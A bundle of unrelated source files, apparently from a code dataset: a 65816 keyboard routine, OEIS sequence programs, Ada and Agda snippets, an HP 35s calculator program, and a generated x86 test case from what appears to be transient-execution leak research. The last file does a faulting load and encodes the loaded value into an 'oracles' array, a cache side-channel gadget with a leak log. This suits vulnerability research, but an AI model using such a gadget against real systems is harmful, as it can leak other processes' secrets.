LDX #15
@KEYLOOP:
STX KEYB_TMP3&$FF.B
LDA KEYBIO.W,X ; load A with key matrix value
TAY
TXA ; \
ASL A ; |
ASL A ; |
ASL A ; |
TAX ; / X = X << 3
STX KEYB_TMP2&$FF.B
TYA
.REPEAT 8
LSR A ; move lowest bit to C
STA KEYB_TMP&$FF.B ; save old A (remaining bits)
BIT KEYB_KEYMODIFIER1&$FF.B ; check if CAPS applies
BVC + ; move to (next) + if no caps
LDA KEYB_APPLY_CAPS_TO_KEY.W,X ; <>$00 if caps should matter
BEQ + ; else skip to (next) +
TXA ; \
EOR #$80 ; | X ^= 0x80
TAX ; /
+ BIT KEYB_KEYMODIFIER1&$FF.B ; check if SHIFT applies
BPL + ; move to (next) + if no shift
TXA ; \
EOR #$80 ; | X ^= 0x80
TAX ; /
+ LDA KEYCODETABLE.W,X ; load key's ASCII code
BEQ ++++ ; if 0, skip to store...
TAY ; ...else put it in Y
LDX KEYB_TMP2&$FF.B ; restore original shifted X
LDA #0 ; storing #0 to cache if key up
; the next instruction checks C which should still have the lowest bit
BCC +++ ; key is not down? go to +++
DEC A ; A = #$FF. key is down
CPY #$0080 ; if Y >= $0080
BCS ++++ ; skip to cache store (++++)
CPX KEYB_KEYDOWNX&$FF.B ; is "current key" this key?
BEQ + ; if it is, go to (next) +
LDA KEYB_KEYCACHE.W,X ; get old key cache value
BNE ++++ ; key already down? go to ++++
STZ KEYB_KEYDOWNTICKS&$FF.B ; zero out key down ticks
STY KEYB_KEYDOWN&$FF.B ; store new current key
STX KEYB_KEYDOWNX&$FF.B ; and "scan code"
LDA #$FF ; load #$FF again to store to
STA KEYB_NEWKEYPRESSED&$FF.B ; "new key pressed"
BRA _f ; skip some redundant insrts
+ LDA KEYB_TMP_NMI&$FF.B ; check NMI timer
BEQ ++ ; increase key down ticks
__ INC KEYB_KEYDOWNTICKS&$FF.B ; only if NMI timer <>0
++ LDA #$FF ; load #$FF again to store to
BRA ++++ ; cache, and go to ++++
+++ CPX KEYB_KEYDOWNX&$FF.B ; key up is "current code"?
BNE ++++ ; if not, skip
STZ KEYB_KEYDOWN&$FF.B ; \ zero out "current code"
DEC (KEYB_KEYDOWNX+1)&$FF.B ; cur. "scan" = $FFxx (invalid)
++++ LDX KEYB_TMP2&$FF.B ; restore original shifted X
STA KEYB_KEYCACHE.W,X ; store $00 or $FF to cache
LDA KEYB_TMP&$FF.B ; restore remaining bits
INX
STX KEYB_TMP2&$FF.B
.ENDR
LDX KEYB_TMP3&$FF.B ; restore unshifted X
DEX
BMI @KEYLOOPEND
JMP @KEYLOOP
@KEYLOOPEND:
PLY
PLX
STZ KEYB_NMI_TIMER&$FF.B
EXITKEYBRAM
PLP
RTS
.ORG $7FE8
KEYB_GET_MODIFIERS_TRAMPOLINE:
JSR KEYB_GET_MODIFIERS.W
RTL
.ORG $7FEC
KEYB_INC_NMI_TIMER_TRAMPOLINE:
JSR KEYB_INC_NMI_TIMER.W
RTL
.ORG $7FF0
KEYB_UPDATE_KEYS_IMMEDIATE_TRAMPOLINE:
JSR KEYB_UPDATE_KEYS_IMMEDIATE.W
RTL
.ORG $7FF4
KEYB_GET_PRESSED_KEY_TRAMPOLINE:
JSR KEYB_GET_PRESSED_KEY.W
RTL
.ORG $7FF8
KEYB_RESET_BUFFER_TRAMPOLINE:
JSR KEYB_RESET_BUFFER.W
RTL
.ORG $7FFC
KEYB_UPDATE_KEYS_TRAMPOLINE:
JSR KEYB_UPDATE_KEYS.W
RTL
|
programs/oeis/106/A106154.asm | neoneye/loda | 22 | 165110 | ; A106154: Generation 5 of the substitution 1->{2, 1, 2}, 2->{3, 2, 3}, 3->{4, 3, 4}, 4->{5, 4, 5}, 5->{6, 5, 6}, 6->{1, 6, 1}, starting with 1.
; 6,5,6,5,4,5,6,5,6,5,4,5,4,3,4,5,4,5,6,5,6,5,4,5,6,5,6,5,4,5,4,3,4,5,4,5,4,3,4,3,2,3,4,3,4,5,4,5,4,3,4,5,4,5,6,5,6,5,4,5,6,5,6,5,4,5,4,3,4,5,4,5,6,5,6,5,4,5,6,5,6,5,4,5,4,3,4,5,4,5,4,3,4,3,2,3,4,3,4,5
seq $0,62756 ; Number of 1's in ternary (base-3) expansion of n.
sub $1,$0
add $1,6
mov $0,$1
|
src/asf-requests-tools.ads | Letractively/ada-asf | 0 | 13081 | <filename>src/asf-requests-tools.ads
-----------------------------------------------------------------------
-- asf.requests.tools -- ASF Requests Tools
-- Copyright (C) 2010 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
package ASF.Requests.Tools is
-- Builds a printable representation of the request for debugging purposes.
-- When <b>Html</b> is true, the returned content contains an HTML presentation.
function To_String (Req : in Request'Class;
Html : in Boolean := False;
Print_Headers : in Boolean := True;
Print_Attributes : in Boolean := False) return String;
-- Set the internal context associated with a request:
-- <ul>
-- <li>The servlet that processes the request,
-- <li>The response associated with the request
-- </ul/
procedure Set_Context (Req : in out Request'Class;
Servlet : access ASF.Servlets.Servlet'Class;
Response : in ASF.Responses.Response_Access);
end ASF.Requests.Tools;
|
programs/oeis/168/A168187.asm | neoneye/loda | 22 | 165092 | <reponame>neoneye/loda<gh_stars>10-100
; A168187: a(n) = n^3*(n^6 + 1)/2.
; 0,1,260,9855,131104,976625,5038956,20176975,67109120,193710609,500000500,1178974511,2579891040,5302250785,10330524764,19221681375,34359740416,59293940705,99179648100,161343852319,256000004000,397140027921,603634614220,900576336815,1320903777024,1907348640625,2714751848276,3812798752335,5289227987680,7253573000129,9841500013500,13219811095231,17592186060800,23205742218945,30358496402884,39407819357375,50779978357536,64980869922865,82608050658860,104364180609039,131072000032000,163690967231441,203335691961780,251296306008175,309060919797344,378340321334625,461095081383196,559565236603295,676302730352640,814206799014049,976562500062500,1167082586611551,1389952941888160,1649881795975505,1952152956235404,2302683292075375,2708084724160256,3175730977784625,3713829369920020,4331497909430159,5038848000108000,5847073046530561,6768543273250940,7816907078551935,9007199254872064,10355956419082625,11881340007043716,13603267198297855,15543550148372000,17726043917952369,20176803500171500,22924250359403471,25999348907301120,29435793354328465,33270205387742324,37542343139859375,42295321923508576,47575847224813985,53434460456879580,59925797991555679,67108864000256000,75047317648765281,83809775205129700,93470127634056095,104107874265761184,115808473141908625,128663708656149836,142772077121844015,158239190914773760,175178201854095089,193710244500364500,213964900065270991,236080681643667680,260205541494645825,286497401114723644,315124704862733375,346266997912682496,380115529327738945,416873881065545540,456758623742305599
mov $1,$0
pow $0,9
pow $1,3
add $0,$1
div $0,2
|
examples/W/W.asm | brickpool/hp35s | 3 | 87699 | <reponame>brickpool/hp35s
; Day of the week for any date since September 14, 1752
MODEL P35S
SEGMENT CODE
LBL W ; program W
; REGZ = dd
; REGY = mm
; REGX = yyyy
STO A ; A = y
Rv
; f = IP(1/REGX+0.5)
ENTER
1/x
0.5
+
IP ; REGX is 1 if January or February, otherwise 0
STO- A ; A = y - REGX
12
*
+ ; if January or February then REGX = m+12 else REGX = m+0
; n1 = IP(13/5*(m+1))
1
+ ; REGX = m + 1
;
2.6
*
IP ; REGY = d, REGX = n1
+
x<> A ; A = d + n1, REGX = y
; n2 = IP(5/4*y)
ENTER
ENTER
ENTER
1.25
*
IP ; REGX = n2
STO+ A ; A = d + n1 + n2
; n3 = IP(y/100)
Rv
100
/
IP ; REGX = n3
STO- A ; A = d + n1 + n2 - n3
; n4 = IP(y/400)
Rv
400
/
IP ; REGX = n4
RCL+ A ; REGX = d + n1 + n2 - n3 + n4
7
RMDR ; REGX = (d + n1 + n2 - n3 + n4) mod 7
; REGX = w
RTN
ENDS
END
; CK=8DE1
; LN=137
|
test/Succeed/Issue1436-7.agda | shlevy/agda | 1,989 | 11286 | <reponame>shlevy/agda
postulate
F : Set₂ → Set₃
#_ : Set₁ → Set₂
!_ : Set₀ → Set₁
infix 1 F
infix 2 #_
infix 3 !_
syntax F x = ! x
ok₁ : Set₁ → Set₃
ok₁ X = ! # X
ok₂ : Set₀ → Set₂
ok₂ X = # ! X
|
asm/testy4.asm | icefoxen/lang | 0 | 14642 | ; Compile WITH:
; nasm -f elf testy4.asm
; gcc testy4.o
; For some weird weird diseased wrong reason, you have to run the object file
; through gcc, it doesn't work alone with ld. I think it has something to do
; with how it sets up the _start procedure.
global main
segment .data
segment .bss
segment .docstring
maindoc db "Foody foody foo!", 0
segment .text
main:
; This instruction is necessary if you don't want a segfault
;enter 0, 0
; This one is optional but it's good to save the old state...
;pusha
push eax
push ebx
pop ebx
pop eax
; the mov isn't necessary, but it's a good thing to leave
; memory in a consistant state.
;mov eax, 0
;leave
ret
|
oeis/021/A021507.asm | neoneye/loda-programs | 11 | 18440 | <gh_stars>10-100
; A021507: Decimal expansion of 1/503.
; Submitted by <NAME>(s1.)
; 0,0,1,9,8,8,0,7,1,5,7,0,5,7,6,5,4,0,7,5,5,4,6,7,1,9,6,8,1,9,0,8,5,4,8,7,0,7,7,5,3,4,7,9,1,2,5,2,4,8,5,0,8,9,4,6,3,2,2,0,6,7,5,9,4,4,3,3,3,9,9,6,0,2,3,8,5,6,8,5,8,8,4,6,9,1,8,4,8,9,0,6,5,6,0,6,3,6,1
add $0,1
mov $1,10
pow $1,$0
div $1,503
mov $0,$1
mod $0,10
|
kernel/int/syscall.asm | ethan4984/rock | 207 | 164459 | <filename>kernel/int/syscall.asm
%macro pushall 0
push rax
push rbx
push rcx
push rdx
push rbp
push rdi
push rsi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
%endmacro
%macro popall 0
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rsi
pop rdi
pop rbp
pop rdx
pop rcx
pop rbx
pop rax
%endmacro
global syscall_main
extern syscall_view
syscall_main:
swapgs
mov qword [gs:16], rsp ; save user stack
mov rsp, qword [gs:8] ; init kernel stack
sti
push rcx ; rip
push r11 ; rflags
push 0x1b ; ss
push qword [gs:16] ; rsp
push r11 ; rflags
push 0x23 ; cs
push rcx ; rip
push 0
push 0
pushall
mov rdi, rsp
call syscall_view
popall
add rsp, 56
pop r11 ; rflags
pop rcx ; rip
cli
mov rdx, qword [gs:24] ; errno
mov rsp, qword [gs:16] ; user stack
swapgs
o64 sysret ; ensure rex.w=1
|
kernel_entry/kernel_entry.asm | Mollenthe4th/OS | 0 | 84311 | global _start;
[bits 32]
_start:
[extern kernel_main]
call kernel_main
jmp $ |
test2.asm | jbush001/MiteCPU | 12 | 245379 | #
# Store values into a memory array
#
res result
res count
res buffer, 8
res ptr
start: ldi 8
st count
ldi buffer
st ptr
loop: ldi 0 # Clear accumulator
add count # Copy count into accumulator
index ptr # Load destination pointer
st 0 # Store count into destination pointer
ldi 1
add ptr
st ptr # Increment pointer
ldi -1
add count # Decrement count
st count # Update count
bl done # Finished? if so, branch out
ldi -1 # Branch unconditionally
bl loop # loop again
done: ldi -1
bl done # Infinite loop
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_886.asm | ljhsiun2/medusa | 9 | 25255 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x19b14, %rsi
lea addresses_WC_ht+0x4d34, %rdi
nop
nop
nop
nop
xor $9257, %rax
mov $90, %rcx
rep movsq
nop
nop
nop
nop
nop
inc %rbx
lea addresses_normal_ht+0x131f8, %rsi
lea addresses_D_ht+0x170e4, %rdi
xor %r14, %r14
mov $33, %rcx
rep movsb
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_A_ht+0x1c034, %rsi
lea addresses_A_ht+0x2934, %rdi
nop
nop
nop
nop
add %r11, %r11
mov $2, %rcx
rep movsw
nop
nop
nop
nop
nop
dec %rbx
lea addresses_UC_ht+0x4934, %rbx
nop
nop
nop
nop
sub $39546, %r14
mov (%rbx), %esi
sub $7339, %rcx
lea addresses_A_ht+0x19fbc, %rsi
lea addresses_WT_ht+0x11d34, %rdi
nop
nop
sub %r12, %r12
mov $5, %rcx
rep movsq
nop
nop
nop
nop
dec %rax
lea addresses_WT_ht+0x150b4, %r14
xor $41198, %rsi
movups (%r14), %xmm5
vpextrq $0, %xmm5, %rdi
nop
nop
nop
nop
nop
add $7251, %r14
lea addresses_UC_ht+0x136d0, %r12
nop
nop
nop
sub %rcx, %rcx
mov (%r12), %rsi
nop
nop
add %rax, %rax
lea addresses_A_ht+0x9eac, %r14
clflush (%r14)
nop
nop
nop
lfence
mov $0x6162636465666768, %r12
movq %r12, (%r14)
cmp %rcx, %rcx
lea addresses_A_ht+0x14a2c, %r14
nop
nop
nop
nop
nop
xor $23202, %r11
mov (%r14), %si
nop
nop
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %rbx
push %rsi
// Faulty Load
lea addresses_A+0xcd34, %r15
xor $63777, %rsi
mov (%r15), %bx
lea oracles, %r10
and $0xff, %rbx
shlq $12, %rbx
mov (%r10,%rbx,1), %rbx
pop %rsi
pop %rbx
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_A', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 2}, 'dst': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': True, 'congruent': 2}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
src/numerics-sparse_matrices-n_row.adb | sciencylab/lagrangian-solver | 0 | 4021 | separate (Numerics.Sparse_Matrices)
function N_Row (Mat : in Sparse_Matrix) return Pos is
begin
return Mat.N_Row;
end N_Row;
|
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_274.asm | ljhsiun2/medusa | 9 | 21483 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x143b5, %rsi
lea addresses_A_ht+0xddf1, %rdi
nop
nop
nop
nop
nop
and $20401, %rbp
mov $0, %rcx
rep movsw
xor %rax, %rax
lea addresses_normal_ht+0x1a371, %rcx
nop
nop
nop
nop
nop
sub %r10, %r10
and $0xffffffffffffffc0, %rcx
movaps (%rcx), %xmm4
vpextrq $0, %xmm4, %rbp
nop
nop
nop
nop
and $30277, %rdi
lea addresses_normal_ht+0x6b71, %rsi
lea addresses_normal_ht+0x546f, %rdi
dec %r8
mov $63, %rcx
rep movsl
nop
dec %rcx
lea addresses_UC_ht+0x1bb51, %rsi
nop
nop
nop
nop
cmp $41024, %r10
movb $0x61, (%rsi)
nop
nop
sub $44919, %rsi
lea addresses_D_ht+0xcab1, %rsi
lea addresses_UC_ht+0xdc2a, %rdi
dec %r9
mov $35, %rcx
rep movsb
sub %r10, %r10
lea addresses_D_ht+0xbb67, %rbp
nop
nop
nop
xor $32430, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
movups %xmm6, (%rbp)
nop
nop
and $37814, %rdi
lea addresses_WT_ht+0x4771, %r10
clflush (%r10)
nop
nop
nop
nop
nop
sub $29542, %r8
movw $0x6162, (%r10)
nop
nop
inc %rbp
lea addresses_WC_ht+0x4871, %rsi
lea addresses_WC_ht+0x10f71, %rdi
nop
nop
cmp $59242, %r9
mov $4, %rcx
rep movsl
add %rcx, %rcx
lea addresses_WT_ht+0x939b, %rsi
lea addresses_normal_ht+0x15171, %rdi
nop
nop
nop
nop
nop
cmp %r8, %r8
mov $89, %rcx
rep movsw
nop
nop
cmp %r9, %r9
lea addresses_A_ht+0x13f1, %rsi
lea addresses_A_ht+0x9b71, %rdi
nop
nop
nop
nop
dec %rax
mov $49, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %r9
lea addresses_D_ht+0x4859, %rcx
nop
nop
nop
add $26404, %rsi
mov (%rcx), %r9d
nop
cmp %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %rax
push %rbp
push %rbx
push %rdi
push %rdx
// Store
lea addresses_A+0x1ccf1, %rbx
nop
nop
nop
nop
nop
dec %rax
mov $0x5152535455565758, %r10
movq %r10, (%rbx)
nop
dec %r8
// Store
lea addresses_D+0xeb71, %rbx
nop
nop
nop
nop
add $32687, %rdi
movw $0x5152, (%rbx)
nop
inc %r10
// Store
mov $0xb3b, %rbx
nop
nop
nop
nop
add %r8, %r8
movb $0x51, (%rbx)
nop
sub $49543, %r8
// Store
lea addresses_WC+0x1025d, %rbp
nop
nop
nop
nop
dec %rdx
movw $0x5152, (%rbp)
nop
nop
nop
nop
dec %rbp
// Load
lea addresses_D+0x1c171, %rbp
clflush (%rbp)
nop
nop
nop
nop
cmp $32030, %rax
vmovups (%rbp), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %r8
nop
nop
nop
nop
nop
sub %rbx, %rbx
// Store
lea addresses_normal+0xe5d1, %r8
nop
nop
nop
sub $65409, %rax
movb $0x51, (%r8)
nop
nop
cmp %rbp, %rbp
// Store
lea addresses_RW+0xdca1, %rdx
nop
nop
nop
nop
xor %rdi, %rdi
mov $0x5152535455565758, %r8
movq %r8, %xmm3
movups %xmm3, (%rdx)
nop
nop
nop
and $64962, %rdi
// Faulty Load
lea addresses_D+0xeb71, %rbp
clflush (%rbp)
nop
cmp $25622, %rdx
movups (%rbp), %xmm2
vpextrq $0, %xmm2, %r8
lea oracles, %rbx
and $0xff, %r8
shlq $12, %r8
mov (%rbx,%r8,1), %r8
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}}
{'52': 21829}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 